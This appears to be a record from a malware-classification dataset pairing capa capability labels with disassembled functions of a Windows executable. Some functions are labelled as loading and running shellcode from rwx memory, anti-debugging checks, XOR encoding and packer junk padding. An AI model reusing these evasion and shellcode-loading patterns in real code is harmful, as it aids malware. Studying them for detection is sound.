joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4039b7
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4039d5
mov eax, 0x4ae221
push eax
push 1
mov ebx, 0x194
call fcn.0049d610
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4039ff
mov eax, 0
jmp 0x403a73
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
test eax, eax
jle 0x403a60
add eax, 8
mov edi, eax
mov ebx, edi
push edi
xor al, al
pop esi
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov edi, eax
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x403a49
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x403a38
xor ecx, eax
xor edx, ebx
dec edi
jne 0x403a29
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 4
mov esp, ebp
pop ebp
ret 4
Function at 0x40a1a2
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
nop
nop
cmp dword [ebp - 4], esp
je 0x40a1d9
push 0x24
push 0x402ca59
push 6
call fcn.0049c65d
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
mov eax, 0
setne al
jmp 0x40a1ed
mov esp, ebp
pop ebp
ret 4

Function at 0x40a858
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push 0x1c
call fcn.0049c651
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 7
rep stosd dword es:[edi], eax
mov dword [ebp - 8], 0
jmp 0x40a897
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov dword [ebp - 0xc], esp
mov eax, 0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0x1c
push dword [ebp - 4]
push 3
xor eax, eax
call dword [0x4b5070]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x40a943
push 0x30
push 0x402c8ce
push 6
call fcn.0049c65d
add esp, 0xc
mov ebx, dword [ebp - 4]
add ebx, 8
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp - 4]
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0xc]
fild qword [ebx]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
fild qword [ebx]
fstp qword [ebp - 0x20]
fsub qword [ebp - 0x20]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fdiv qword [0x4ae935]
fstp qword [ebp - 0x30]
push 0x80000601
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push 1
mov ebx, 0x9dc
call fcn.0049e450
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
jmp 0x40a9ce
push eax
mov ebx, dword [ebp - 4]
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x40bc08
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0x40
call fcn.0049c651
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
mov dword [ebx], 0x40
mov dword [ebp - 8], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
nop
nop
cmp dword [ebp - 8], esp
je 0x40bc69
push 0x2c
push 0x402ca10
push 6
call fcn.0049c65d
add esp, 0xc
mov ebx, dword [ebp - 4]
add ebx, 8
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
fild qword [ebx]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fdiv qword [0x4ae959]
fstp qword [ebp - 0x18]
push 0x80000601
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 1
mov ebx, 0x9dc
call fcn.0049e450
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x168
call fcn.0049dbb0
add esp, 0x10
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
jmp 0x40bcc8
push eax
mov ebx, dword [ebp - 4]
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x411655
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [0x4b50dc]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x411698
push 0x19
push 0x402c8ed
push 6
call fcn.0049c65d
add esp, 0xc
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.0049d9e0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4116ce
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov dword [ebp - 8], eax
fild dword [ebp - 4]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fadd qword [0x4ae2af]
fstp qword [ebp - 0x18]
mov dword [ebp - 0x1c], esp
fld qword [ebp - 0x18]
call fcn.0040191a
push eax
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x41171c
push 0x88
push 0x402c8ed
push 6
call fcn.0049c65d
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x411738
push eax
mov ebx, eax
call fcn.00401371
inc eax
push eax
call fcn.0049c651
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x41173d
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41174e
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x4146d3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x414711
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x414797
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0049c651
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4147a8
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x4147bf
mov eax, 0x4ae221
push eax
push 1
mov ebx, 0x194
call fcn.0049d610
add esp, 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
call fcn.00401255
mov dword [ebp - 0xc], eax
push 1
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.00414949
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x41482e
push 0x165
push 0x402c912
push 6
call fcn.0049c65d
add esp, 0xc
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0xa0000101
push 0
push 0x4aeb49
push 3
mov ebx, 0x914
call fcn.0049fa90
add esp, 0x28
push dword [ebp - 8]
push dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
call dword [ebp - 0x14]
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x14]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x4148ad
push 0xbc5
push 0x402c912
push 6
call fcn.0049c65d
add esp, 0xc
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x4148e3
push 0xbf1
push 0x402c912
push 6
call fcn.0049c65d
add esp, 0xc
mov eax, dword [ebp - 4]
test eax, eax
je 0x4148fd
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0049c651
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x414931
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x414942
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x14
Function at 0x415e78
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
jmp 0x415e9a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
mov dword [ebp - 4], 0
nop
push eax
push ecx
push edx
push ebx
push esi
push edi
nop
nop
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
mov esi, ecx
nop
pop edx
pop ecx
pop ebx
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getpeername
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
pop edx
pop ecx
pop ebx
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x64]
add esi, eax
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, al
add esi, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, dl
add esi, ebx
nop
nop
imul esi, esi, 0x88
nop
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getpeername
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
imul edx, edx, 6
add esi, edx
nop
nop
nop
pop edx
pop ecx
pop ebx
nop
nop
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
imul ecx, ecx, 9
add esi, ecx
pop edx
pop ecx
pop ebx
nop
nop
nop
xor esi, 0x124254
mov dword [ebp - 4], esi
pop edi
pop esi
pop ebx
pop edx
pop ecx
pop eax
nop
nop
nop
mov eax, dword [ebp - 4]
jmp 0x415fd5
mov esp, ebp
pop ebp
ret
Function at 0x417d50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
jmp 0x417d72
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov dword [ebp - 4], 0x2b7e9735
push edx
push ecx
push esi
xor esi, esi
mov eax, dword [ebp + 8]
lea ecx, ds:[esi*4]
mov ecx, dword [eax + ecx]
xor ecx, dword [ebp - 4]
lea edx, ds:[esi*4]
mov dword [eax + edx], ecx
add esi, 1
cmp esi, dword [ebp + 0xc]
jne 0x417deb
pop esi
pop ecx
pop edx
nop
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x417e39
nop
nop
nop
nop
nop
nop
mov esp, ebp
pop ebp
ret 8

Function at 0x41a030
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push 0
push 0
push 0
push 4
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41a087
push 0x2b
push 0x402ca04
push 6
call fcn.0049c65d
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x41a09e
mov eax, 0x4ae221
jmp 0x41a12a
push 0x80000301
push 0
push dword [ebp + 0xc]
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0x910
call fcn.0049f5d0
add esp, 0x1c
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41a0db
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41a10b
push 0xf2
push 0x402ca04
push 6
call fcn.0049c65d
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x41a125
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0049c651
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x41a12a
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41a13b
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8
Function at 0x41acf4
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
jmp 0x41ad09
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push ebx
mov ebx, 1
mov ebx, 2
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 5
pop ebx
push esi
xor esi, esi
nop
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
add esi, ecx
nop
nop
mov eax, reloc.WS2_32.dll_getpeername
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
mov eax, 1
xor edx, edx
cpuid
add esi, edx
xor esi, eax
rdtsc
add esi, edx
xor esi, 0x354e7978
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
add esi, ecx
nop
nop
mov eax, reloc.WS2_32.dll_getpeername
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
mov eax, 1
xor edx, edx
cpuid
add esi, edx
xor esi, eax
rdtsc
add esi, edx
xor esi, 0x836bd0f7
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41af9a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x41afd8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x41b05e
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0049c651
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41b06f
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x41b086
mov eax, 0x4ae221
push eax
push 1
mov ebx, 0x194
call fcn.0049d610
add esp, 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
call fcn.00401255
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
push 1
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.00414949
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x41b103
push 0x166
push 0x402c913
push 6
call fcn.0049c65d
add esp, 0xc
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0xa0000101
push 0
push 0x4aee8d
push 3
mov ebx, 0x914
call fcn.0049fa90
add esp, 0x28
push dword [ebp - 8]
push dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
call dword [ebp - 0x14]
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x14]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x41b182
push 0xa79
push 0x402c913
push 6
call fcn.0049c65d
add esp, 0xc
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x41b1b8
push 0xaa5
push 0x402c913
push 6
call fcn.0049c65d
add esp, 0xc
mov eax, dword [ebp - 4]
test eax, eax
je 0x41b1d2
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0049c651
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x41b206
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41b217
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x14
Function at 0x41c674
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
jmp 0x41c696
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push ebx
mov ebx, 1
mov ebx, 2
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 5
pop ebx
mov dword [ebp - 4], 0x2ec3d7e5
push edx
push ecx
push esi
xor esi, esi
mov eax, dword [ebp + 8]
lea ecx, ds:[esi*4]
mov ecx, dword [eax + ecx]
xor ecx, dword [ebp - 4]
lea edx, ds:[esi*4]
mov dword [eax + edx], ecx
add esi, 1
cmp esi, dword [ebp + 0xc]
jne 0x41c70f
pop esi
pop ecx
pop edx
nop
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x41c75d
nop
nop
nop
nop
nop
nop
mov esp, ebp
pop ebp
ret 8
Function at 0x4200ff
Capabilities:
Contain obfuscated stackstrings
Decode data using base64 via vbmi lookup table
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0x84
push ebx
mov ebx, dword [esp + 0x98]
push esi
xor ecx, ecx
xor esi, esi
xor edx, edx
push edi
mov dword [esp + 0xc], 0x7f7f7f7f
mov dword [esp + 0x10], 0x7f7f7f7f
mov dword [esp + 0x14], 0x7f7f7f7f
mov dword [esp + 0x18], 0x7f7f7f7f
mov dword [esp + 0x1c], 0x7f7f7f7f
mov dword [esp + 0x20], 0x7f7f7f7f
mov dword [esp + 0x24], 0x7f7f7f7f
mov dword [esp + 0x28], 0x7f7f7f7f
mov dword [esp + 0x2c], 0x7f7f7f7f
mov dword [esp + 0x30], 0x7f7f7f7f
mov dword [esp + 0x34], 0x3e7f7f7f
mov dword [esp + 0x38], 0x3f7f7f7f
mov dword [esp + 0x3c], 0x37363534
mov dword [esp + 0x40], 0x3b3a3938
mov dword [esp + 0x44], 0x7f7f3d3c
mov dword [esp + 0x48], 0x7f7f407f
mov dword [esp + 0x4c], 0x201007f
mov dword [esp + 0x50], 0x6050403
mov dword [esp + 0x54], 0xa090807
mov dword [esp + 0x58], 0xe0d0c0b
mov dword [esp + 0x5c], 0x1211100f
mov dword [esp + 0x60], 0x16151413
mov dword [esp + 0x64], 0x7f191817
mov dword [esp + 0x68], 0x7f7f7f7f
mov dword [esp + 0x6c], 0x1c1b1a7f
mov dword [esp + 0x70], 0x201f1e1d
mov dword [esp + 0x74], 0x24232221
mov dword [esp + 0x78], 0x28272625
mov dword [esp + 0x7c], 0x2c2b2a29
mov dword [esp + 0x80], 0x302f2e2d
mov dword [esp + 0x84], 0x7f333231
mov dword [esp + 0x88], 0x7f7f7f7f
test ebx, ebx
je 0x42034c
mov edi, dword [esp + 0x9c]
mov edi, edi
mov eax, ebx
sub eax, edx
cmp eax, 2
jb 0x420249
cmp byte [edx + edi], 0xd
jne 0x420249
cmp byte [edx + edi + 1], 0xa
je 0x420282
mov al, byte [edx + edi]
cmp al, 0xa
je 0x420282
cmp al, 0x3d
jne 0x42025e
inc ecx
cmp ecx, 2
ja 0x42035a
cmp al, 0x7f
ja 0x42035a
movzx eax, al
mov al, byte [esp + eax + 0xc]
cmp al, 0x7f
je 0x42035a
cmp al, 0x40
jae 0x420281
test ecx, ecx
jne 0x42035a
inc esi
inc edx
cmp edx, ebx
jb 0x420233
test esi, esi
je 0x42034c
mov ecx, dword [esp + 0x98]
lea eax, [esi + esi*2]
mov esi, dword [esp + 0x94]
lea eax, [eax*2 + 7]
shr eax, 3
test esi, esi
je 0x42036b
cmp dword [ecx], eax
jb 0x42036b
xor eax, eax
xor ebx, ebx
push ebp
mov ebp, 3
mov dword [esp + 0x90], eax
test edx, edx
je 0x42033b
lea esp, [esp]
mov al, byte [edi]
cmp al, 0xd
je 0x420337
cmp al, 0xa
je 0x420337
movzx eax, al
mov cl, byte [esp + eax + 0x10]
xor eax, eax
cmp cl, 0x40
sete al
shl ebx, 6
sub ebp, eax
movzx eax, cl
mov ecx, dword [esp + 0x90]
and eax, 0x3f
inc ecx
or ebx, eax
mov dword [esp + 0x90], ecx
cmp ecx, 4
jne 0x420337
xor eax, eax
mov dword [esp + 0x90], eax
test ebp, ebp
je 0x420322
mov eax, ebx
shr eax, 0x10
mov byte [esi], al
inc esi
cmp ebp, 1
jbe 0x42032f
mov eax, ebx
shr eax, 8
mov byte [esi], al
inc esi
cmp ebp, 2
jbe 0x420337
mov byte [esi], bl
inc esi
inc edi
dec edx
jne 0x4202d3
sub esi, dword [esp + 0x98]
mov eax, dword [esp + 0x9c]
pop ebp
mov dword [eax], esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov dword [ecx], eax
or eax, 0xffffffff
pop ebx
add esp, 0x84
ret 0x10
Function at 0x423c26
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
jmp 0x423c48
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
fninit
mov dword [ebp - 8], esp
push 0
xor eax, eax
call dword [0x4b5054]
nop
nop
cmp dword [ebp - 8], esp
je 0x423cb3
push 0x3f
push 0x402c971
push 6
call fcn.0049c65d
add esp, 0xc
push 0x80000301
push 0
push dword [0x4b4d74]
push 1
mov ebx, 0xc
mov eax, 0x4a3250
call fcn.0049d130
add esp, 0x10
push dword [ebp + 8]
call fcn.0041cd21
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x423cf6
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [0x4b4d74]
push 1
mov ebx, 0x10
mov eax, 0x4a3270
call fcn.0049d130
add esp, 0x10
mov eax, dword [ebp - 4]
test eax, eax
je 0x423d3a
push eax
mov ebx, eax
call fcn.00401371
inc eax
push eax
call fcn.0049c651
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x423d6e
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x423d7f
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x427187
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
cmp dword [ebp + 8], 0
jne 0x4271e0
mov dword [ebp - 0x10], esp
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4271d8
push 0x4f
push 0x402c4f1
push 6
call fcn.0049c65d
add esp, 0xc
mov dword [ebp - 4], eax
jmp 0x427219
mov dword [ebp - 0x10], esp
push dword [ebp + 8]
push 0
push 0x1000
xor eax, eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x427216
push 0x7d
push 0x402c4f1
push 6
call fcn.0049c65d
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x42722d
mov eax, 0x4ae221
jmp 0x427354
push 0x80000301
push 0
push 0x20a
push 1
mov ebx, 0x1bc
call fcn.0049d1d0
add esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x427262
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], esp
push 0x104
mov eax, dword [ebp - 8]
test eax, eax
je 0x427278
add eax, 8
push eax
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4272a2
push 0x180
push 0x402c4f1
push 6
call fcn.0049c65d
add esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push dword [ebp - 4]
xor eax, eax
call dword [0x4b5150]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4272d1
push 0x1ab
push 0x402c4f1
push 6
call fcn.0049c65d
add esp, 0xc
fild dword [ebp - 0xc]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
fmul qword [0x4ae244]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fadd qword [0x4ae244]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
call fcn.0040191a
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x427312
mov eax, 0x4ae221
push eax
push 2
mov ebx, 0x1a0
call fcn.0049e530
add esp, 0x1c
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x42733c
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0042736c
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
jmp 0x427354
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x427365
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8